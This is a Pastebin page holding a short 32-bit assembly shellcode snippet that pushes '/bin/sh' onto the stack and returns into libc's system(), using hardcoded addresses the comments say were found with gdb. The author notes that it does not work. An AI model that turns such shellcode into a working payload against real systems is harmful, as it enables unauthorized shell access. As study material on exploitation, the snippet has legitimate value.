Advertisement
Guest User

Untitled

a guest
Nov 29th, 2014
186
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. %define system 0xb7eaaf10 ; found with gdb
  2. %define exit 0xb7e9e550 ; found with gdb
  3. %define str_binsh0 0x68732f6e
  4. %define str_binsh1 0x69622f2f
  5.  
  6. bits 32
  7. xor eax, eax
  8. push eax ; exit() parameter = 0
  9. push eax ; string termination
  10. push str_binsh0 ; string part
  11. push str_binsh1 ; string part
  12. push esp ; &"/bin/sh" - system() parameter
  13. push exit ; address to return to after completion of system()
  14. push system ; address to return to after completion of this func()
  15. ret ; complete this func
  16.  
  17. ; does not work
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement